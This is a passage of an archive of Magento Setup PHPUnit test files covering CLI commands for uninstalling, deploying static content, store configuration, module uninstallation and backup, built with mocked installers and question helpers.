->expects($this->once()) ->method('get') ->willReturn('localhost'); $this->configModel ->expects($this->once()) ->method('process') ->with([]); $this->checkInteraction('n'); } /** * Checks interaction with users on CLI * * @param string $interactionType * @return void */ private function checkInteraction($interactionType) { $dialog = $this->createMock(QuestionHelper::class); $dialog ->expects($this->once()) ->method('ask') ->willReturn($interactionType); /** @var HelperSet|MockObject $helperSet */ $helperSet = $this->createMock(HelperSet::class); $helperSet ->expects($this->once()) ->method('get') ->with('question') ->willReturn($dialog); $this->command->setHelperSet($helperSet); $commandTester = new CommandTester($this->command); $commandTester->execute(['--db-host' => 'host']); if (strtolower($interactionType) === 'y') { $message = 'You saved the new configuration.' . PHP_EOL; } else { $message = 'You made no changes to the configuration.' . PHP_EOL; } $this->assertSame( $message, $commandTester->getDisplay() ); } } Magento/Setup/Test/Unit/Console/Command/FunctionExistMock.php000077700000000435151323623130020211 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Deploy\Console\Command; /** * @param $func * @return bool */ function function_exists($func) { return $func !== 'pcntl_fork'; } Magento/Setup/Test/Unit/Console/Command/UninstallCommandTest.php000077700000004375151323623130020714 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Setup\Console\Command\UninstallCommand; use Magento\Setup\Model\Installer; use Magento\Setup\Model\InstallerFactory; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Helper\QuestionHelper; use Symfony\Component\Console\Tester\CommandTester; class UninstallCommandTest extends TestCase { /** * @var InstallerFactory|MockObject */ private $installerFactory; /** * @var Installer|MockObject */ private $installer; /** * @var UninstallCommand|MockObject */ private $command; protected function setUp(): void { $this->installerFactory = $this->createMock(InstallerFactory::class); $this->installer = $this->createMock(Installer::class); $this->command = new UninstallCommand($this->installerFactory); } public function testExecuteInteractionYes() { $this->installer->expects($this->once())->method('uninstall'); $this->installerFactory->expects($this->once())->method('create')->willReturn($this->installer); $this->checkInteraction(true); } public function testExecuteInteractionNo() { $this->installer->expects($this->exactly(0))->method('uninstall'); $this->installerFactory->expects($this->exactly(0))->method('create'); $this->checkInteraction(false); } /** * @param $answer */ public function checkInteraction($answer) { $question = $this->createMock(QuestionHelper::class); $question ->expects($this->once()) ->method('ask') ->willReturn($answer); /** @var HelperSet|MockObject $helperSet */ $helperSet = $this->createMock(HelperSet::class); $helperSet ->expects($this->once()) ->method('get') ->with('question') ->willReturn($question); $this->command->setHelperSet($helperSet); $tester = new CommandTester($this->command); $tester->execute([]); } } Magento/Setup/Test/Unit/Console/Command/DeployStaticContentCommandTest.php000077700000013055151323623130022675 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Deploy\Console\ConsoleLogger; use Magento\Deploy\Console\ConsoleLoggerFactory; use Magento\Deploy\Console\DeployStaticOptions; use Magento\Deploy\Console\InputValidator; use Magento\Deploy\Process\TimeoutException; use Magento\Deploy\Service\DeployStaticContent; use Magento\Framework\App\State; use Magento\Framework\Console\Cli; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Console\Command\DeployStaticContentCommand; use Magento\Setup\Model\ObjectManagerProvider; use PHPUnit\Framework\MockObject\MockObject as Mock; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Tester\CommandTester; /** * Test for static content deploy command * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class DeployStaticContentCommandTest extends TestCase { /** * @var DeployStaticContentCommand */ private $command; /** * @var InputValidator|Mock */ private $inputValidator; /** * @var ConsoleLogger|Mock */ private $logger; /** * @var ConsoleLoggerFactory|Mock */ private $consoleLoggerFactory; /** * @var DeployStaticContent|Mock */ private $deployService; /** * Object manager to create various objects * * @var ObjectManagerInterface|Mock * */ private $objectManager; /** * @var State|Mock */ private $appState; /** * @inheritdoc */ protected function setUp(): void { $this->inputValidator = $this->createMock(InputValidator::class); $this->consoleLoggerFactory = $this->createMock(ConsoleLoggerFactory::class); $this->logger = $this->createMock(ConsoleLogger::class); $this->objectManager = $this->getMockForAbstractClass(ObjectManagerInterface::class); $this->appState = $this->createMock(State::class); $this->deployService = $this->createMock(DeployStaticContent::class); $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $objectManagerProvider->method('get')->willReturn($this->objectManager); $this->command = (new ObjectManager($this))->getObject(DeployStaticContentCommand::class, [ 'inputValidator' => $this->inputValidator, 'consoleLoggerFactory' => $this->consoleLoggerFactory, 'options' => new DeployStaticOptions(), 'appState' => $this->appState, 'objectManagerProvider' => $objectManagerProvider ]); } /** * @param array $input * @see DeployStaticContentCommand::execute() * @dataProvider executeDataProvider */ public function testExecute($input) { $this->appState->expects($this->once()) ->method('getMode') ->willReturn(State::MODE_PRODUCTION); $this->inputValidator->expects($this->once()) ->method('validate'); $this->consoleLoggerFactory->expects($this->once()) ->method('getLogger')->willReturn($this->logger); $this->logger->expects($this->exactly(2))->method('notice'); $this->objectManager->expects($this->once())->method('create')->willReturn($this->deployService); $this->deployService->expects($this->once())->method('deploy'); $tester = new CommandTester($this->command); $exitCode = $tester->execute($input); $this->assertEquals(Cli::RETURN_SUCCESS, $exitCode); } /** * @return array */ public function executeDataProvider() { return [ 'No options' => [ [] ], 'With static content version option' => [ ['--content-version' => '123456'] ] ]; } /** * @return void */ public function testExecuteWithError() { $this->appState->expects($this->once()) ->method('getMode') ->willReturn(State::MODE_PRODUCTION); $this->inputValidator->expects($this->once()) ->method('validate'); $this->consoleLoggerFactory->expects($this->once()) ->method('getLogger') ->willReturn($this->logger); $this->logger->expects($this->once()) ->method('error'); $this->objectManager->expects($this->once()) ->method('create') ->willReturn($this->deployService); $this->deployService->expects($this->once()) ->method('deploy') ->willThrowException(new TimeoutException()); $tester = new CommandTester($this->command); $exitCode = $tester->execute([]); $this->assertEquals(Cli::RETURN_FAILURE, $exitCode); } /** * @param string $mode * @return void * @dataProvider executionInNonProductionModeDataProvider */ public function testExecuteInNonProductionMode($mode) { $this->expectException('Magento\Framework\Exception\LocalizedException'); $this->appState->expects($this->any())->method('getMode')->willReturn($mode); $this->objectManager->expects($this->never())->method('create'); $tester = new CommandTester($this->command); $tester->execute([]); } /** * @return array */ public function executionInNonProductionModeDataProvider() { return [ [State::MODE_DEFAULT], [State::MODE_DEVELOPER], ]; } } Magento/Setup/Test/Unit/Console/Command/InstallStoreConfigurationCommandTest.php000077700000017552151323623130024117 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Validator\Currency as CurrencyValidator; use Magento\Framework\Validator\Locale as LocaleValidator; use Magento\Framework\Validator\Timezone as TimezoneValidator; use Magento\Framework\Validator\Url as UrlValidator; use Magento\Setup\Console\Command\InstallStoreConfigurationCommand; use Magento\Setup\Model\Installer; use Magento\Setup\Model\InstallerFactory; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Model\StoreConfigurationDataMapper; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Tester\CommandTester; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class InstallStoreConfigurationCommandTest extends TestCase { /** * @var DeploymentConfig|MockObject */ private $deploymentConfig; /** * @var InstallerFactory|MockObject */ private $installerFactory; /** * @var Installer|MockObject */ private $installer; /** * @var ObjectManagerInterface|MockObject */ private $objectManager; /** * @var LocaleValidator|MockObject */ private $localeValidatorMock; /** * @var TimezoneValidator|MockObject */ private $timezoneValidatorMock; /** * @var CurrencyValidator|MockObject */ private $currencyValidatorMock; /** * @var UrlValidator|MockObject */ private $urlValidatorMock; /** * @var InstallStoreConfigurationCommand */ private $command; protected function setUp(): void { $this->urlValidatorMock = $this->createMock(UrlValidator::class); $this->localeValidatorMock = $this->createMock(LocaleValidator::class); $this->timezoneValidatorMock = $this->createMock(TimezoneValidator::class); $this->currencyValidatorMock = $this->createMock(CurrencyValidator::class); $this->installerFactory = $this->createMock(InstallerFactory::class); $this->deploymentConfig = $this->createMock(DeploymentConfig::class); $this->installer = $this->createMock(Installer::class); $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $this->objectManager = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); $objectManagerProvider->expects($this->once())->method('get')->willReturn($this->objectManager); $this->command = new InstallStoreConfigurationCommand( $this->installerFactory, $this->deploymentConfig, $objectManagerProvider, $this->localeValidatorMock, $this->timezoneValidatorMock, $this->currencyValidatorMock, $this->urlValidatorMock ); } public function testExecute() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(true); $this->installer->expects($this->once()) ->method('installUserConfig'); $this->installerFactory->expects($this->once()) ->method('create') ->willReturn($this->installer); $tester = new CommandTester($this->command); $tester->execute([]); } public function testExecuteNotInstalled() { $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(false); $this->installerFactory->expects($this->never()) ->method('create'); $tester = new CommandTester($this->command); $tester->execute([]); $this->assertStringMatchesFormat( "Store settings can't be saved because the Magento application is not installed.%w", $tester->getDisplay() ); } /** * @dataProvider validateDataProvider * @param array $option * @param string $error */ public function testExecuteInvalidData(array $option, $error) { $this->localeValidatorMock->expects($this->any())->method('isValid')->willReturn(false); $this->timezoneValidatorMock->expects($this->any())->method('isValid')->willReturn(false); $this->currencyValidatorMock->expects($this->any())->method('isValid')->willReturn(false); $this->urlValidatorMock->expects($this->any())->method('isValid')->willReturn(false); $this->deploymentConfig->expects($this->once()) ->method('isAvailable') ->willReturn(true); $this->installerFactory->expects($this->never()) ->method('create'); $commandTester = new CommandTester($this->command); $commandTester->execute($option); $this->assertStringContainsString($error, $commandTester->getDisplay()); } /** * @return array */ public function validateDataProvider() { return [ [ ['--' . StoreConfigurationDataMapper::KEY_BASE_URL => 'sampleUrl'], 'Command option \'' . StoreConfigurationDataMapper::KEY_BASE_URL . '\': Invalid URL \'sampleUrl\'.' ], [ ['--' . StoreConfigurationDataMapper::KEY_BASE_URL => 'http://example.com_test'], 'Command option \'' . StoreConfigurationDataMapper::KEY_BASE_URL . '\': Invalid URL \'http://example.com_test\'.' ], [ ['--' . StoreConfigurationDataMapper::KEY_LANGUAGE => 'sampleLanguage'], 'Command option \'' . StoreConfigurationDataMapper::KEY_LANGUAGE . '\': Invalid value. To see possible values, run command \'bin/magento info:language:list\'.' ], [ ['--' . StoreConfigurationDataMapper::KEY_TIMEZONE => 'sampleTimezone'], 'Command option \'' . StoreConfigurationDataMapper::KEY_TIMEZONE . '\': Invalid value. To see possible values, run command \'bin/magento info:timezone:list\'.' ], [ ['--' . StoreConfigurationDataMapper::KEY_CURRENCY => 'sampleLanguage'], 'Command option \'' . StoreConfigurationDataMapper::KEY_CURRENCY . '\': Invalid value. To see possible values, run command \'bin/magento info:currency:list\'.' ], [ ['--' . StoreConfigurationDataMapper::KEY_USE_SEF_URL => 'invalidValue'], 'Command option \'' . StoreConfigurationDataMapper::KEY_USE_SEF_URL . '\': Invalid value. Possible values (0|1).' ], [ ['--' . StoreConfigurationDataMapper::KEY_IS_SECURE => 'invalidValue'], 'Command option \'' . StoreConfigurationDataMapper::KEY_IS_SECURE . '\': Invalid value. Possible values (0|1).' ], [ ['--' . StoreConfigurationDataMapper::KEY_BASE_URL_SECURE => 'http://www.sample.com'], 'Command option \'' . StoreConfigurationDataMapper::KEY_BASE_URL_SECURE . '\': Invalid URL \'http://www.sample.com\'.' ], [ ['--' . StoreConfigurationDataMapper::KEY_IS_SECURE_ADMIN => 'invalidValue'], 'Command option \'' . StoreConfigurationDataMapper::KEY_IS_SECURE_ADMIN . '\': Invalid value. Possible values (0|1).' ], [ ['--' . StoreConfigurationDataMapper::KEY_ADMIN_USE_SECURITY_KEY => 'invalidValue'], 'Command option \'' . StoreConfigurationDataMapper::KEY_ADMIN_USE_SECURITY_KEY . '\': Invalid value. Possible values (0|1).' ], ]; } } Magento/Setup/Test/Unit/Console/Command/ModuleUninstallCommandTest.php000077700000056300151323623130022055 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\Cache; use Magento\Framework\App\Console\MaintenanceModeEnabler; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\MaintenanceMode; use Magento\Framework\App\State; use Magento\Framework\App\State\CleanupFiles; use Magento\Framework\Composer\ComposerInformation; use Magento\Framework\Module\DependencyChecker; use Magento\Framework\Module\FullModuleList; use Magento\Framework\Module\PackageInfo; use Magento\Framework\Module\PackageInfoFactory; use Magento\Framework\ObjectManager\ConfigLoaderInterface; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Setup\BackupRollback; use Magento\Framework\Setup\BackupRollbackFactory; use Magento\Framework\Setup\Patch\PatchApplier; use Magento\Setup\Console\Command\ModuleUninstallCommand; use Magento\Setup\Model\ModuleRegistryUninstaller; use Magento\Setup\Model\ModuleUninstaller; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Model\UninstallCollector; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Helper\HelperSet; use Symfony\Component\Console\Helper\QuestionHelper; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Tester\CommandTester; /** * @SuppressWarnings(PHPMD.CouplingBetweenObjects) * @SuppressWarnings(PHPMD.TooManyFields) */ class ModuleUninstallCommandTest extends TestCase { /** * @var DeploymentConfig|MockObject */ private $deploymentConfig; /** * @var FullModuleList|MockObject */ private $fullModuleList; /** * @var MaintenanceMode|MockObject */ private $maintenanceMode; /** * @var UninstallCollector|MockObject */ private $uninstallCollector; /** * @var PackageInfo|MockObject */ private $packageInfo; /** * @var DependencyChecker|MockObject */ private $dependencyChecker; /** * @var ModuleUninstaller|MockObject */ private $moduleUninstaller; /** * @var ModuleRegistryUninstaller|MockObject */ private $moduleRegistryUninstaller; /** * @var Cache|MockObject */ private $cache; /** * @var CleanupFiles|MockObject */ private $cleanupFiles; /** * @var BackupRollback|MockObject */ private $backupRollback; /** * @var BackupRollbackFactory|MockObject */ private $backupRollbackFactory; /** * @var QuestionHelper|MockObject */ private $question; /** * @var HelperSet|MockObject */ private $helperSet; /** * @var ModuleUninstallCommand */ private $command; /** * @var CommandTester */ private $tester; /** * @var MockObject */ private $patchApplierMock; /** * @SuppressWarnings(PHPMD.UnusedLocalVariable) */ protected function setUp(): void { $this->deploymentConfig = $this->createMock(DeploymentConfig::class); $this->fullModuleList = $this->createMock(FullModuleList::class); $this->maintenanceMode = $this->createMock(MaintenanceMode::class); $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $objectManager = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); $this->uninstallCollector = $this->createMock(UninstallCollector::class); $this->packageInfo = $this->createMock(PackageInfo::class); $packageInfoFactory = $this->createMock(PackageInfoFactory::class); $packageInfoFactory->expects($this->once())->method('create')->willReturn($this->packageInfo); $this->dependencyChecker = $this->createMock(DependencyChecker::class); $this->backupRollback = $this->createMock(BackupRollback::class); $this->backupRollbackFactory = $this->createMock(BackupRollbackFactory::class); $this->backupRollbackFactory->expects($this->any()) ->method('create') ->willReturn($this->backupRollback); $this->cache = $this->createMock(Cache::class); $this->cleanupFiles = $this->createMock(CleanupFiles::class); $objectManagerProvider->expects($this->any())->method('get')->willReturn($objectManager); $configLoader = $this->getMockForAbstractClass( ConfigLoaderInterface::class, [], '', false ); $this->patchApplierMock = $this->getMockBuilder(PatchApplier::class) ->disableOriginalConstructor() ->getMock(); $configLoader->expects($this->any())->method('load')->willReturn([]); $objectManager->expects($this->any()) ->method('get') ->willReturnMap([ [PackageInfoFactory::class, $packageInfoFactory], [DependencyChecker::class, $this->dependencyChecker], [Cache::class, $this->cache], [CleanupFiles::class, $this->cleanupFiles], [ State::class, $this->createMock(State::class) ], [BackupRollbackFactory::class, $this->backupRollbackFactory], [PatchApplier::class, $this->patchApplierMock], [ConfigLoaderInterface::class, $configLoader], ]); $composer = $this->createMock(ComposerInformation::class); $composer->expects($this->any()) ->method('getRootRequiredPackages') ->willReturn(['magento/package-a', 'magento/package-b']); $this->moduleUninstaller = $this->createMock(ModuleUninstaller::class); $this->moduleRegistryUninstaller = $this->createMock(ModuleRegistryUninstaller::class); $this->command = new ModuleUninstallCommand( $composer, $this->deploymentConfig, $this->fullModuleList, $this->maintenanceMode, $objectManagerProvider, $this->uninstallCollector, $this->moduleUninstaller, $this->moduleRegistryUninstaller, new MaintenanceModeEnabler($this->maintenanceMode) ); $this->question = $this->createMock(QuestionHelper::class); $this->question ->expects($this->any()) ->method('ask') ->willReturn(true); $this->helperSet = $this->createMock(HelperSet::class); $this->helperSet ->expects($this->any()) ->method('get') ->with('question') ->willReturn($this->question); $this->command->setHelperSet($this->helperSet); $this->tester = new CommandTester($this->command); } public function testExecuteApplicationNotInstalled() { $this->deploymentConfig->expects($this->once())->method('isAvailable')->willReturn(false); $this->tester->execute(['module' => ['Magento_A']]); $this->assertEquals( 'You cannot run this command because the Magento application is not installed.' . PHP_EOL, $this->tester->getDisplay() ); } /** * @dataProvider executeFailedValidationDataProvider * @param array $packageInfoMap * @param array $fullModuleListMap * @param array $input * @param array $expect */ public function testExecuteFailedValidation( array $packageInfoMap, array $fullModuleListMap, array $input, array $expect ) { $this->deploymentConfig->expects($this->once())->method('isAvailable')->willReturn(true); $this->packageInfo->expects($this->exactly(count($input['module']))) ->method('getPackageName') ->willReturnMap($packageInfoMap); $this->fullModuleList->expects($this->exactly(count($input['module']))) ->method('has') ->willReturnMap($fullModuleListMap); $this->tester->execute($input); foreach ($expect as $message) { $this->assertStringContainsString($message, $this->tester->getDisplay()); } } /** * @return array */ public function executeFailedValidationDataProvider() { return [ 'one non-composer package' => [ [['Magento_C', 'magento/package-c']], [['Magento_C', true]], ['module' => ['Magento_C']], ['Magento_C is not an installed composer package'] ], 'one non-composer package, one valid' => [ [['Magento_A', 'magento/package-a'], ['Magento_C', 'magento/package-c']], [['Magento_A', true], ['Magento_C', true]], ['module' => ['Magento_A', 'Magento_C']], ['Magento_C is not an installed composer package'] ], 'two non-composer packages' => [ [['Magento_C', 'magento/package-c'], ['Magento_D', 'magento/package-d']], [['Magento_C', true], ['Magento_D', true]], ['module' => ['Magento_C', 'Magento_D']], ['Magento_C, Magento_D are not installed composer packages'] ], 'one unknown module' => [ [['Magento_C', '']], [['Magento_C', false]], ['module' => ['Magento_C']], ['Unknown module(s): Magento_C'] ], 'two unknown modules' => [ [['Magento_C', ''], ['Magento_D', '']], [['Magento_C', false], ['Magento_D', false]], ['module' => ['Magento_C', 'Magento_D']], ['Unknown module(s): Magento_C, Magento_D'] ], 'one unknown module, one valid' => [ [['Magento_C', ''], ['Magento_B', 'magento/package-b']], [['Magento_C', false], ['Magento_B', true]], ['module' => ['Magento_C', 'Magento_B']], ['Unknown module(s): Magento_C'] ], 'one non-composer package, one unknown module' => [ [['Magento_C', 'magento/package-c'], ['Magento_D', '']], [['Magento_C', true], ['Magento_D', false]], ['module' => ['Magento_C', 'Magento_D']], ['Magento_C is not an installed composer package', 'Unknown module(s): Magento_D'] ], 'two non-composer package, one unknown module' => [ [['Magento_C', 'magento/package-c'], ['Magento_D', ''], ['Magento_E', 'magento/package-e']], [['Magento_C', true], ['Magento_D', false], ['Magento_E', true]], ['module' => ['Magento_C', 'Magento_D', 'Magento_E']], ['Magento_C, Magento_E are not installed composer packages', 'Unknown module(s): Magento_D'] ], 'two non-composer package, two unknown module' => [ [ ['Magento_C', 'magento/package-c'], ['Magento_D', ''], ['Magento_E', 'magento/package-e'], ['Magento_F', ''] ], [['Magento_C', true], ['Magento_D', false], ['Magento_E', true], ['Magento_F', false]], ['module' => ['Magento_C', 'Magento_D', 'Magento_E', 'Magento_F']], ['Magento_C, Magento_E are not installed composer packages', 'Unknown module(s): Magento_D, Magento_F'] ], 'two non-composer package, two unknown module, two valid' => [ [ ['Magento_C', 'magento/package-c'], ['Magento_D', ''], ['Magento_E', 'magento/package-e'], ['Magento_F', ''], ['Magento_A', 'magento/package-a'], ['Magento_B', 'magento/package-b'], ], [ ['Magento_A', true], ['Magento_B', true], ['Magento_C', true], ['Magento_D', false], ['Magento_E', true], ['Magento_F', false] ], ['module' => ['Magento_A', 'Magento_B', 'Magento_C', 'Magento_D', 'Magento_E', 'Magento_F']], ['Magento_C, Magento_E are not installed composer packages', 'Unknown module(s): Magento_D, Magento_F'] ] ]; } private function setUpPassValidation() { $this->deploymentConfig->expects($this->once())->method('isAvailable')->willReturn(true); $packageMap = [ ['Magento_A', 'magento/package-a'], ['Magento_B', 'magento/package-b'], ]; $this->packageInfo->expects($this->any()) ->method('getPackageName') ->willReturnMap($packageMap); $this->fullModuleList->expects($this->any()) ->method('has') ->willReturn(true); } /** * @dataProvider executeFailedDependenciesDataProvider * @param array $dependencies * @param array $input * @param array $expect */ public function testExecuteFailedDependencies( array $dependencies, array $input, array $expect ) { $this->setUpPassValidation(); $this->dependencyChecker->expects($this->once()) ->method('checkDependenciesWhenDisableModules') ->willReturn($dependencies); $this->tester->execute($input); foreach ($expect as $message) { $this->assertStringContainsString($message, $this->tester->getDisplay()); } } /** * @return array */ public function executeFailedDependenciesDataProvider() { return [ [ ['Magento_A' => ['Magento_D' => ['Magento_D', 'Magento_A']]], ['module' => ['Magento_A']], [ "Cannot uninstall module 'Magento_A' because the following module(s) depend on it:" . PHP_EOL . "\tMagento_D" ] ], [ ['Magento_A' => ['Magento_D' => ['Magento_D', 'Magento_A']]], ['module' => ['Magento_A', 'Magento_B']], [ "Cannot uninstall module 'Magento_A' because the following module(s) depend on it:" . PHP_EOL . "\tMagento_D" ] ], [ [ 'Magento_A' => ['Magento_D' => ['Magento_D', 'Magento_A']], 'Magento_B' => ['Magento_E' => ['Magento_E', 'Magento_A']] ], ['module' => ['Magento_A', 'Magento_B']], [ "Cannot uninstall module 'Magento_A' because the following module(s) depend on it:" . PHP_EOL . "\tMagento_D", "Cannot uninstall module 'Magento_B' because the following module(s) depend on it:" . PHP_EOL . "\tMagento_E" ] ], ]; } private function setUpExecute() { $this->setUpPassValidation(); $this->dependencyChecker->expects($this->once()) ->method('checkDependenciesWhenDisableModules') ->willReturn(['Magento_A' => [], 'Magento_B' => []]); $this->cache->expects($this->once())->method('clean'); $this->cleanupFiles->expects($this->once())->method('clearCodeGeneratedClasses'); } public function testExecute() { $input = ['module' => ['Magento_A', 'Magento_B']]; $this->setUpExecute(); $this->moduleUninstaller->expects($this->once()) ->method('uninstallCode') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDb') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDeploymentConfig') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->tester->execute($input); } public function testExecuteClearStaticContent() { $input = ['module' => ['Magento_A', 'Magento_B'], '-c' => true]; $this->setUpExecute(); $this->moduleUninstaller->expects($this->once()) ->method('uninstallCode') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDb') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDeploymentConfig') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->cleanupFiles->expects($this->once())->method('clearMaterializedViewFiles'); $this->tester->execute($input); } public function testExecuteRemoveData() { $input = ['module' => ['Magento_A', 'Magento_B'], '-r' => true]; $this->setUpExecute(); $this->moduleUninstaller->expects($this->once()) ->method('uninstallData') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleUninstaller->expects($this->once()) ->method('uninstallCode') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDb') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDeploymentConfig') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->tester->execute($input); } public function testExecuteNonComposerModules() { $this->deploymentConfig->expects(self::once()) ->method('isAvailable') ->willReturn(true); $input = ['module' => ['Magento_A'], '-c' => true, '-r' => true, '--non-composer' => true]; $this->patchApplierMock->expects(self::once()) ->method('revertDataPatches') ->with('Magento_A'); self::assertEquals(0, $this->tester->execute($input)); } public function testExecuteAll() { $input = ['module' => ['Magento_A', 'Magento_B'], '-c' => true, '-r' => true]; $this->setUpExecute(); $this->moduleUninstaller->expects($this->once()) ->method('uninstallData') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleUninstaller->expects($this->once()) ->method('uninstallCode') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDb') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDeploymentConfig') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->cleanupFiles->expects($this->once())->method('clearMaterializedViewFiles'); $this->tester->execute($input); } public function testExecuteCodeBackup() { $input = ['module' => ['Magento_A', 'Magento_B'], '--backup-code' => true]; $this->setUpExecute(); $this->moduleUninstaller->expects($this->once()) ->method('uninstallCode') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDb') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDeploymentConfig') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->backupRollback->expects($this->once()) ->method('codeBackup') ->willReturn($this->backupRollback); $this->tester->execute($input); } public function testExecuteMediaBackup() { $input = ['module' => ['Magento_A', 'Magento_B'], '--backup-media' => true]; $this->setUpExecute(); $this->moduleUninstaller->expects($this->once()) ->method('uninstallCode') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDb') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDeploymentConfig') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->backupRollback->expects($this->once()) ->method('codeBackup') ->willReturn($this->backupRollback); $this->tester->execute($input); } public function testExecuteDBBackup() { $input = ['module' => ['Magento_A', 'Magento_B'], '--backup-db' => true]; $this->setUpExecute(); $this->moduleUninstaller->expects($this->once()) ->method('uninstallCode') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDb') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDeploymentConfig') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->backupRollback->expects($this->once()) ->method('dbBackup') ->willReturn($this->backupRollback); $this->tester->execute($input); } public function testInteraction() { $input = ['module' => ['Magento_A', 'Magento_B']]; $this->setUpExecute(); $this->moduleUninstaller->expects($this->once()) ->method('uninstallCode') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDb') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->moduleRegistryUninstaller->expects($this->once()) ->method('removeModulesFromDeploymentConfig') ->with($this->isInstanceOf(OutputInterface::class), $input['module']); $this->question ->expects($this->once()) ->method('ask') ->willReturn(false); $this->helperSet ->expects($this->once()) ->method('get') ->with('question') ->willReturn($this->question); $this->command->setHelperSet($this->helperSet); $this->tester = new CommandTester($this->command); $this->tester->execute($input); } } Magento/Setup/Test/Unit/Console/Command/BackupCommandTest.php000077700000011624151323623130020143 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Console\Command; use Magento\Framework\App\Console\MaintenanceModeEnabler; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\App\MaintenanceMode; use Magento\Framework\App\State; use Magento\Framework\ObjectManager\ConfigLoaderInterface; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Setup\BackupRollback; use Magento\Framework\Setup\BackupRollbackFactory; use Magento\Setup\Console\Command\BackupCommand; use Magento\Setup\Model\ObjectManagerProvider; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Symfony\Component\Console\Tester\CommandTester; class BackupCommandTest extends TestCase { /** * @var ObjectManagerInterface|MockObject */ private $objectManager; /** * @var BackupRollback|MockObject */ private $backupRollback; /** * @var CommandTester */ private $tester; /** * @var BackupRollbackFactory|MockObject */ private $backupRollbackFactory; /** * @var DeploymentConfig|MockObject */ private $deploymentConfig; protected function setUp(): void { $maintenanceMode = $this->createMock(MaintenanceMode::class); $objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $this->objectManager = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); $objectManagerProvider->expects($this->any())->method('get')->willReturn($this->objectManager); $this->backupRollback = $this->createMock(BackupRollback::class); $this->backupRollbackFactory = 